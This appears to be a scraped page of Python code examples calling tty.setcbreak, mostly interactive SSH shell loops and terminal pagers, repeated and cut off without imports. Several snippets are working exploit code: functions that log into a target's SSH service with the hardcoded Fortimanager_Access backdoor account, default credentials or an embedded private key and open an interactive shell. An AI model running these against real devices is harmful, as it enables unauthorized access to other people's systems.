def _posix_shell(self, chan):
import select
oldtty = termios.tcgetattr(sys.stdin)
try:
tty.setraw(sys.stdin.fileno())
tty.setcbreak(sys.stdin.fileno())
chan.settimeout(0.0)
# needs to be sent to give vim correct size FIX
# chan.send('eval $(resize)\n')
while True:
r, w, e = select.select([chan, sys.stdin], [], [])
if chan in r:
try:
x = chan.recv(1024)
if len(x) == 0:
print('\r\n*** EOF\r\n'),
break
sys.stdout.write(x)
sys.stdout.flush()
except socket.timeout:
pass
if sys.stdin in r:
# fixes up arrow problem
x = os.read(sys.stdin.fileno(), 1)
if len(x) == 0:
break
chan.send(x)
finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
# thanks to Mike Looijmans for this code
python类setcbreak()的实例源码
def posix_shell(chan):
import select
oldtty = termios.tcgetattr(sys.stdin)
try:
tty.setraw(sys.stdin.fileno())
tty.setcbreak(sys.stdin.fileno())
chan.settimeout(0.0)
while True:
r, w, e = select.select([chan, sys.stdin], [], [])
if chan in r:
try:
x = chan.recv(1024)
if len(x) == 0:
print '\r\n*** EOF\r\n',
break
sys.stdout.write(x)
sys.stdout.flush()
except socket.timeout:
pass
if sys.stdin in r:
x = sys.stdin.read(1)
if len(x) == 0:
break
chan.send(x)
finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
# thanks to Mike Looijmans for this code
def main():
if len(sys.argv) < 2:
print ('Usage: ' + sys.argv[0] + ' <target-ip>')
exit(-1)
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(sys.argv[1], username='', allow_agent=False, look_for_keys=False)
except paramiko.ssh_exception.SSHException:
pass
trans = client.get_transport()
try:
trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
except paramiko.ssh_exception.AuthenticationException:
pass
trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler)
chan = client.invoke_shell()
oldtty = termios.tcgetattr(sys.stdin)
try:
tty.setraw(sys.stdin.fileno())
tty.setcbreak(sys.stdin.fileno())
chan.settimeout(0.0)
while True:
r, w, e = select.select([chan, sys.stdin], [], [])
if chan in r:
try:
x = u(chan.recv(1024))
if len(x) == 0:
sys.stdout.write('\r\n*** EOF\r\n')
break
sys.stdout.write(x)
sys.stdout.flush()
except socket.timeout:
pass
if sys.stdin in r:
x = sys.stdin.read(1)
if len(x) == 0:
break
chan.send(x)
finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
def main():
if len(sys.argv) < 2:
print ('Usage: ' + sys.argv[0] + ' <target-ip>')
exit(-1)
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(sys.argv[1], username='', allow_agent=False, look_for_keys=False)
except paramiko.ssh_exception.SSHException:
pass
trans = client.get_transport()
try:
trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
except paramiko.ssh_exception.AuthenticationException:
pass
trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler)
chan = client.invoke_shell()
oldtty = termios.tcgetattr(sys.stdin)
try:
tty.setraw(sys.stdin.fileno())
tty.setcbreak(sys.stdin.fileno())
chan.settimeout(0.0)
while True:
r, w, e = select.select([chan, sys.stdin], [], [])
if chan in r:
try:
x = u(chan.recv(1024))
if len(x) == 0:
sys.stdout.write('\r\n*** EOF\r\n')
break
sys.stdout.write(x)
sys.stdout.flush()
except socket.timeout:
pass
if sys.stdin in r:
x = sys.stdin.read(1)
if len(x) == 0:
break
chan.send(x)
finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
def ttypager(text):
"""Page through text on a text terminal."""
lines = plain(_encode(plain(text), getattr(sys.stdout, 'encoding', _encoding))).split('\n')
try:
import tty
fd = sys.stdin.fileno()
old = tty.tcgetattr(fd)
tty.setcbreak(fd)
getchar = lambda: sys.stdin.read(1)
except (ImportError, AttributeError):
tty = None
getchar = lambda: sys.stdin.readline()[:-1][:1]
try:
try:
h = int(os.environ.get('LINES', 0))
except ValueError:
h = 0
if h <= 1:
h = 25
r = inc = h - 1
sys.stdout.write(join(lines[:inc], '\n') + '\n')
while lines[r:]:
sys.stdout.write('-- more --')
sys.stdout.flush()
c = getchar()
if c in ('q', 'Q'):
sys.stdout.write('\r \r')
break
elif c in ('\r', '\n'):
sys.stdout.write('\r \r' + lines[r] + '\n')
r = r + 1
continue
if c in ('b', 'B', '\x1b'):
r = r - inc - inc
if r < 0: r = 0
sys.stdout.write('\n' + join(lines[r:r+inc], '\n') + '\n')
r = r + inc
finally:
if tty:
tty.tcsetattr(fd, tty.TCSAFLUSH, old)
def ttypager(text):
"""Page through text on a text terminal."""
lines = plain(_encode(plain(text), getattr(sys.stdout, 'encoding', _encoding))).split('\n')
try:
import tty
fd = sys.stdin.fileno()
old = tty.tcgetattr(fd)
tty.setcbreak(fd)
getchar = lambda: sys.stdin.read(1)
except (ImportError, AttributeError):
tty = None
getchar = lambda: sys.stdin.readline()[:-1][:1]
try:
try:
h = int(os.environ.get('LINES', 0))
except ValueError:
h = 0
if h <= 1:
h = 25
r = inc = h - 1
sys.stdout.write(join(lines[:inc], '\n') + '\n')
while lines[r:]:
sys.stdout.write('-- more --')
sys.stdout.flush()
c = getchar()
if c in ('q', 'Q'):
sys.stdout.write('\r \r')
break
elif c in ('\r', '\n'):
sys.stdout.write('\r \r' + lines[r] + '\n')
r = r + 1
continue
if c in ('b', 'B', '\x1b'):
r = r - inc - inc
if r < 0: r = 0
sys.stdout.write('\n' + join(lines[r:r+inc], '\n') + '\n')
r = r + inc
finally:
if tty:
tty.tcsetattr(fd, tty.TCSAFLUSH, old)
def posix_shell(chan,user_obj,bind_host_obj,cmd_caches,log_recording):
import select
oldtty = termios.tcgetattr(sys.stdin)
try:
tty.setraw(sys.stdin.fileno())
tty.setcbreak(sys.stdin.fileno())
chan.settimeout(0.0)
cmd = ''
tab_key = False
while True:
r,w,e = select.select([chan,sys.stdin],[],[])
if chan in r:
try:
x = u(chan.recv(1024))
if tab_key:
if x not in ('\x07','\r\n'):
cmd += x
tab_key = False
if len(x) == 0:
sys.stdout.write('\r\n**** EOF ****\r\n')
break
sys.stdout.write(x)
sys.stdout.flush()
except socket.timeout:
pass
if sys.stdin in r:
x = sys.stdin.read(1)
if '\r' != x:
cmd += x
else:
print('cmd->: ',cmd)
log_item = models.AuditLog(user_id=user_obj.id,
bind_host_id=bind_host_obj.id,
action_type='cmd',
cmd=cmd,
date=datetime.datetime.now())
cmd_caches.append(log_item)
cmd = ''
if len(cmd_caches) >= 10:#?10?????????
log_recording(cmd_caches)
cmd_caches = []
if '\t' == x:
tab_key = True
if len(x) == 0:
break
chan.send(x)
finally:
termios.tcsetattr(sys.stdin,termios.TCSADRAIN,oldtty)
def ttypager(text):
"""Page through text on a text terminal."""
lines = plain(_escape_stdout(text)).split('\n')
try:
import tty
fd = sys.stdin.fileno()
old = tty.tcgetattr(fd)
tty.setcbreak(fd)
getchar = lambda: sys.stdin.read(1)
except (ImportError, AttributeError, io.UnsupportedOperation):
tty = None
getchar = lambda: sys.stdin.readline()[:-1][:1]
try:
try:
h = int(os.environ.get('LINES', 0))
except ValueError:
h = 0
if h <= 1:
h = 25
r = inc = h - 1
sys.stdout.write('\n'.join(lines[:inc]) + '\n')
while lines[r:]:
sys.stdout.write('-- more --')
sys.stdout.flush()
c = getchar()
if c in ('q', 'Q'):
sys.stdout.write('\r \r')
break
elif c in ('\r', '\n'):
sys.stdout.write('\r \r' + lines[r] + '\n')
r = r + 1
continue
if c in ('b', 'B', '\x1b'):
r = r - inc - inc
if r < 0: r = 0
sys.stdout.write('\n' + '\n'.join(lines[r:r+inc]) + '\n')
r = r + inc
finally:
if tty:
tty.tcsetattr(fd, tty.TCSAFLUSH, old)
def run(self):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(self.target, 22, timeout=5, username=self.user, password=self.password)
except (paramiko.ssh_exception.SSHException, socket.error):
print_error("Exploit failed - cannot log in with credentials {} / {}".format(self.user, self.password))
return
else:
print_success("SSH - Successful authentication")
chan = ssh.invoke_shell()
oldtty = termios.tcgetattr(sys.stdin)
try:
tty.setraw(sys.stdin.fileno())
tty.setcbreak(sys.stdin.fileno())
chan.settimeout(0.0)
while(True):
r, w, e = select.select([chan, sys.stdin], [], [])
if(chan in r):
try:
x = unicode(chan.recv(1024))
if(len(x) == 0):
sys.stdout.write('\r\nExiting...\r\n')
break
sys.stdout.write(x)
sys.stdout.flush()
except socket.timeout:
pass
if(sys.stdin in r):
x = sys.stdin.read(1)
if(len(x) == 0):
break
chan.send(x)
finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
return
def run(self):
pkey = paramiko.DSSKey.from_private_key(StringIO.StringIO(self.private_key))
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(self.target, 22, timeout=5, pkey=pkey)
except:
ssh.close()
print_error("Device seems to be not vulnerable")
else:
print_success("SSH - Successful authentication")
chan = ssh.invoke_shell()
oldtty = termios.tcgetattr(sys.stdin)
try:
tty.setraw(sys.stdin.fileno())
tty.setcbreak(sys.stdin.fileno())
chan.settimeout(0.0)
while(True):
r, w, e = select.select([chan, sys.stdin], [], [])
if(chan in r):
try:
x = unicode(chan.recv(1024))
if(len(x) == 0):
sys.stdout.write('\r\nExiting...\r\n')
break
sys.stdout.write(x)
sys.stdout.flush()
except socket.timeout:
pass
if(sys.stdin in r):
x = sys.stdin.read(1)
if(len(x) == 0):
break
chan.send(x)
finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
return
def run(self):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(self.target, username='', allow_agent=False, look_for_keys=False)
except paramiko.ssh_exception.SSHException:
pass
except:
print_error("Exploit Failed - SSH Service is down")
return
trans = client.get_transport()
try:
trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
except paramiko.ssh_exception.AuthenticationException:
pass
except:
print_status("Error with Existing Session. Wait few minutes.")
return
try:
trans.auth_interactive(username='Fortimanager_Access', handler=self.custom_handler)
chan = client.invoke_shell()
except:
print_error("Exploit failed")
return
print_success("Exploit succeeded")
oldtty = termios.tcgetattr(sys.stdin)
try:
tty.setraw(sys.stdin.fileno())
tty.setcbreak(sys.stdin.fileno())
chan.settimeout(0.0)
while True:
r, w, e = select.select([chan, sys.stdin], [], [])
if chan in r:
try:
x = u(chan.recv(1024))
if len(x) == 0:
sys.stdout.write('\r\n*** EOF\r\n')
break
sys.stdout.write(x)
sys.stdout.flush()
except socket.timeout:
pass
if sys.stdin in r:
x = sys.stdin.read(1)
if len(x) == 0:
break
chan.send(x)
finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
def ttypager(text):
"""Page through text on a text terminal."""
lines = plain(_encode(plain(text), getattr(sys.stdout, 'encoding', _encoding))).split('\n')
try:
import tty
fd = sys.stdin.fileno()
old = tty.tcgetattr(fd)
tty.setcbreak(fd)
getchar = lambda: sys.stdin.read(1)
except (ImportError, AttributeError):
tty = None
getchar = lambda: sys.stdin.readline()[:-1][:1]
try:
try:
h = int(os.environ.get('LINES', 0))
except ValueError:
h = 0
if h <= 1:
h = 25
r = inc = h - 1
sys.stdout.write(join(lines[:inc], '\n') + '\n')
while lines[r:]:
sys.stdout.write('-- more --')
sys.stdout.flush()
c = getchar()
if c in ('q', 'Q'):
sys.stdout.write('\r \r')
break
elif c in ('\r', '\n'):
sys.stdout.write('\r \r' + lines[r] + '\n')
r = r + 1
continue
if c in ('b', 'B', '\x1b'):
r = r - inc - inc
if r < 0: r = 0
sys.stdout.write('\n' + join(lines[r:r+inc], '\n') + '\n')
r = r + inc
finally:
if tty:
tty.tcsetattr(fd, tty.TCSAFLUSH, old)
def cbreak(self):
"""
Allow each keystroke to be read immediately after it is pressed.
This is a context manager for :func:`tty.setcbreak`.
This context manager activates 'rare' mode, the opposite of 'cooked'
mode: On entry, :func:`tty.setcbreak` mode is activated disabling
line-buffering of keyboard input and turning off automatic echo of
input as output.
.. note:: You must explicitly print any user input you would like
displayed. If you provide any kind of editing, you must handle
backspace and other line-editing control functions in this mode
as well!
**Normally**, characters received from the keyboard cannot be read
by Python until the *Return* key is pressed. Also known as *cooked* or
*canonical input* mode, it allows the tty driver to provide
line-editing before shuttling the input to your program and is the
(implicit) default terminal mode set by most unix shells before
executing programs.
Technically, this context manager sets the :mod:`termios` attributes
of the terminal attached to :obj:`sys.__stdin__`.
.. note:: :func:`tty.setcbreak` sets ``VMIN = 1`` and ``VTIME = 0``,
see http://www.unixwiz.net/techtips/termios-vmin-vtime.html
"""
if HAS_TTY and self._keyboard_fd is not None:
# Save current terminal mode:
save_mode = termios.tcgetattr(self._keyboard_fd)
save_line_buffered = self._line_buffered
tty.setcbreak(self._keyboard_fd, termios.TCSANOW)
try:
self._line_buffered = False
yield
finally:
# Restore prior mode:
termios.tcsetattr(self._keyboard_fd,
termios.TCSAFLUSH,
save_mode)
self._line_buffered = save_line_buffered
else:
yield
def main():
if len(sys.argv) < 2:
print 'Usage: ' + sys.argv[0] + ' <target-ip>'
exit(-1)
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(sys.argv[1], username='', allow_agent=False, look_for_keys=False)
except paramiko.ssh_exception.SSHException:
pass
trans = client.get_transport()
try:
trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
except paramiko.ssh_exception.AuthenticationException:
pass
trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler)
chan = client.invoke_shell()
oldtty = termios.tcgetattr(sys.stdin)
try:
tty.setraw(sys.stdin.fileno())
tty.setcbreak(sys.stdin.fileno())
chan.settimeout(0.0)
while True:
r, w, e = select.select([chan, sys.stdin], [], [])
if chan in r:
try:
x = u(chan.recv(1024))
if len(x) == 0:
sys.stdout.write('\r\n*** EOF\r\n')
break
sys.stdout.write(x)
sys.stdout.flush()
except socket.timeout:
pass
if sys.stdin in r:
x = sys.stdin.read(1)
if len(x) == 0:
break
chan.send(x)
finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
def ttypager(text):
"""Page through text on a text terminal."""
lines = plain(_encode(plain(text), getattr(sys.stdout, 'encoding', _encoding))).split('\n')
try:
import tty
fd = sys.stdin.fileno()
old = tty.tcgetattr(fd)
tty.setcbreak(fd)
getchar = lambda: sys.stdin.read(1)
except (ImportError, AttributeError):
tty = None
getchar = lambda: sys.stdin.readline()[:-1][:1]
try:
try:
h = int(os.environ.get('LINES', 0))
except ValueError:
h = 0
if h <= 1:
h = 25
r = inc = h - 1
sys.stdout.write(join(lines[:inc], '\n') + '\n')
while lines[r:]:
sys.stdout.write('-- more --')
sys.stdout.flush()
c = getchar()
if c in ('q', 'Q'):
sys.stdout.write('\r \r')
break
elif c in ('\r', '\n'):
sys.stdout.write('\r \r' + lines[r] + '\n')
r = r + 1
continue
if c in ('b', 'B', '\x1b'):
r = r - inc - inc
if r < 0: r = 0
sys.stdout.write('\n' + join(lines[r:r+inc], '\n') + '\n')
r = r + inc
finally:
if tty:
tty.tcsetattr(fd, tty.TCSAFLUSH, old)
def posix_shell(chan,user_obj,bind_host_obj,cmd_caches,log_recording):
import select
oldtty = termios.tcgetattr(sys.stdin)
try:
tty.setraw(sys.stdin.fileno())
tty.setcbreak(sys.stdin.fileno())
chan.settimeout(0.0)
cmd = ''
tab_key = False
while True:
r, w, e = select.select([chan, sys.stdin], [], [])
if chan in r:
try:
x = u(chan.recv(1024))
if tab_key:
if x not in ('\x07' , '\r\n'):
#print('tab:',x)
cmd += x
tab_key = False
if len(x) == 0:
sys.stdout.write('\r\n*** EOF\r\n')
break
sys.stdout.write(x)
sys.stdout.flush()
except socket.timeout:
pass
if sys.stdin in r:
x = sys.stdin.read(1)
if '\r' != x:
cmd +=x
else:
print('cmd->:',cmd)
log_item = models.AuditLog(user_id=user_obj.id,
bind_host_id=bind_host_obj.id,
action_type='cmd',
cmd=cmd ,
date=datetime.datetime.now()
)
cmd_caches.append(log_item)
cmd = ''
if len(cmd_caches)>=10:
log_recording(user_obj,bind_host_obj,cmd_caches)
cmd_caches = []
if '\t' == x:
tab_key = True
if len(x) == 0:
break
chan.send(x)
finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
# thanks to Mike Looijmans for this code
def play_music(list):
tty.setcbreak(sys.stdin.fileno())
i = 0
while 1:
proc = subprocess.Popen(shlex.split("mpv " + list[i] + " --no-video\
--quiet --input-ipc-server=.mpvsocket"), stdout=DEVNULL)
soc = 0
while 1:
try:
soc = socket.socket(socket.AF_UNIX)
soc.connect(".mpvsocket")
break
except socket_error:
continue
print(get_name(list[i]))
while 1:
ch=0
rlist, _, _ = select([sys.stdin], [], [], 0.1)
if rlist:
ch = sys.stdin.read(1)
elif proc.poll() is not None:
break
else:
continue
if ch == 'q':
soc.send(compose_message({"command": ["quit"]}))
proc.kill()
soc.shutdown(socket.SHUT_WR)
soc.close()
os.remove(".mpvsocket")
sys.exit()
break
elif ch in 'l':
soc.send(compose_message({"command": ["seek", "5"]}))
elif ch in 'j':
soc.send(compose_message({"command": ["seek", "5"]}))
elif ch in 'n':
soc.send(compose_message({"command": ["quit"]}))
proc.kill()
soc.shutdown(socket.SHUT_WR)
soc.close()
break
elif ch in 'b':
soc.send(compose_message({"command": ["quit"]}))
proc.kill()
soc.shutdown(socket.SHUT_WR)
soc.close()
i = i-2
break
elif ch in '\ ':
soc.send(compose_message({"command": ["cycle", "pause"]}))
os.remove(".mpvsocket")
i = i + 1
if i < 0:
i = len(list) - 1
elif i >= len(list):
i = 0
def _posixShell(self, cmd=None):
import select
logger.debug("Opening interactive POSIX shell")
sys.stdout.write('\r\n*** Begin interactive session.\r\n')
oldtty = termios.tcgetattr(sys.stdin)
channel = self.client.get_transport().open_session()
forward = paramiko.agent.AgentRequestHandler(channel)
channel.get_pty()
channel.invoke_shell()
if cmd:
channel.send(cmd)
channel.send("\n")
try:
tty.setraw(sys.stdin.fileno())
tty.setcbreak(sys.stdin.fileno())
channel.settimeout(0.0)
isAlive = True
while isAlive:
self.resizePTY(channel)
r, w, e = select.select([channel, sys.stdin], [], [])
if channel in r:
try:
x = channel.recv(1024)
if len(x) == 0:
isAlive = False
else:
sys.stdout.write(x)
sys.stdout.flush()
except socket.timeout:
pass
if sys.stdin in r and isAlive:
x = os.read(sys.stdin.fileno(), 1)
if len(x) == 0:
isAlive = False
else:
channel.send(x)
channel.shutdown(2)
finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
sys.stdout.write('\r\n*** End of interactive session.\r\n')